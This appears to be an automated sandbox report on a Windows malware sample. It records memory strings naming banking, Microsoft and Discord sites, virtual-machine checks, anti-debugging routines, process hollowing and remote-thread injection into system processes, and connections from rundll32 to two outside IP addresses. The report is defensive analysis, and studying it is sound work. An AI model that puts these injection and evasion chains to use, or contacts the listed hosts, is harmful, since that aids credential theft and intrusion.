Source: netsh.exe, 0000001D.00000003.2264660397.0000021A2DB95000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000001E.00000003.2264160680.000001BF46665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllYY
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: explorer.exe, 00000005.00000003.2193186163.00000000088E1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00j
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: explorer.exe, 00000005.00000003.3084849985.00000000087C2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.00000000087C2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: rundll32.exe, 0000001A.00000002.3469272832.0000022206438000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWft\O
Source: 759D.tmp.gfx.exe, 00000012.00000003.1593713018.0000000000CA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000003.2193186163.00000000088E1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000r
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: explorer.exe, 00000005.00000002.3816144708.0000000004027000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s/U6
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: 6148.tmp.ssg.exe, 00000011.00000002.1762232082.0000000000E74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: explorer.exe, 00000005.00000000.1331938648.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: explorer.exe, 00000005.00000000.1331938648.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: explorer.exe, 00000005.00000003.2193186163.00000000088E1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}AsVuser
Source: explorer.exe, 00000005.00000003.2193186163.00000000088E1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}otti
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: explorer.exe, 00000005.00000000.1326366348.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000\
Source: explorer.exe, 00000005.00000000.1331938648.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: explorer.exe, 00000005.00000000.1326366348.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	API call chain: ExitProcess graph end node	graph_0-882
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	API call chain: ExitProcess graph end node	graph_0-899
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	API call chain: ExitProcess graph end node	graph_0-880
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_2-872
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_2-894
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_2-881
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node	graph_5-38965
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	API call chain: ExitProcess graph end node	graph_6-931
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	API call chain: ExitProcess graph end node	graph_6-926
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	API call chain: ExitProcess graph end node	graph_6-948
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	API call chain: ExitProcess graph end node	graph_6-929
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_8-884
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_8-876
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_8-886
Source: C:\Windows\System32\audiodg.exe	API call chain: ExitProcess graph end node	graph_8-896
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_9-888
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_9-897
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_9-900
Source: C:\Windows\System32\msiexec.exe	API call chain: ExitProcess graph end node	graph_9-909

Source: C:\Windows\System32\audiodg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC4321C IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_00007FF7CDC4321C

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_0-1132
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_6-1181
Source: C:\Windows\System32\audiodg.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_8-1129
Source: C:\Windows\System32\svchost.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_2-1128
Source: C:\Windows\System32\msiexec.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_9-1142

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC4321C IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_00007FF7CDC4321C

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5D7B24 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_0C5D7B24

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5B88B0 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,HeapAlloc,HeapReAlloc,Thread32Next,CloseHandle,

5_2_0C5B88B0

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC41050 LoadLibraryA,GetProcAddress,

0_2_00007FF7CDC41050

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DE250 mov eax, dword ptr fs:[00000030h]	18_2_004DE250
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004E66E2 mov eax, dword ptr fs:[00000030h]	18_2_004E66E2
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032E250 mov eax, dword ptr fs:[00000030h]	19_2_0032E250
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_003366E2 mov eax, dword ptr fs:[00000030h]	19_2_003366E2
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032E250 mov eax, dword ptr fs:[00000030h]	20_2_0032E250
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_003366E2 mov eax, dword ptr fs:[00000030h]	20_2_003366E2

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

0_2_00007FF7CDC41CDC

Source: C:\Windows\System32\svchost.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102D9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7102D9924
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102CBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00007FF7102CBBC0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102CC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7102CC44C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102CC62C SetUnhandledExceptionFilter,	11_2_00007FF7102CC62C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102D9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF7102D9924
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102CBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF7102CBBC0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102CC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF7102CC44C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102CC62C SetUnhandledExceptionFilter,	16_2_00007FF7102CC62C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE230F20 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FFEEE230F20
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE20A184 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FFEEE20A184
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD4A34 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FFEF5DD4A34
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF5DD5054 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FFEF5DD5054
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6556810 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FFEF6556810
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6555DF8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FFEF6555DF8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF65569F8 SetUnhandledExceptionFilter,	16_2_00007FFEF65569F8
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEF6C9D414 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FFEF6C9D414
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DF25D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_004DF25D
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DA895 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_004DA895
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004DA9F8 SetUnhandledExceptionFilter,	18_2_004DA9F8
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004D9FA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_004D9FA8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032A895 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_0032A895
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032A9F8 SetUnhandledExceptionFilter,	19_2_0032A9F8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0032F25D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_0032F25D
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_00329FA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_00329FA8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032A895 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0032A895
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032A9F8 SetUnhandledExceptionFilter,	20_2_0032A9F8
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0032F25D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0032F25D
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_00329FA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_00329FA8

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 56C7.tmp.ctx.exe.5.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.81.68.147 80
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.81.68.148 80

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF63B520000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF63B520000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF63B520000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF6FDB50000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF68DEA0000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC42048 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,

0_2_00007FF7CDC42048

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Code function: 0_2_00007FF7CDC42CB8 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	0_2_00007FF7CDC42CB8
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00007FF68DEA2CB8 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,	2_2_00007FF68DEA2CB8
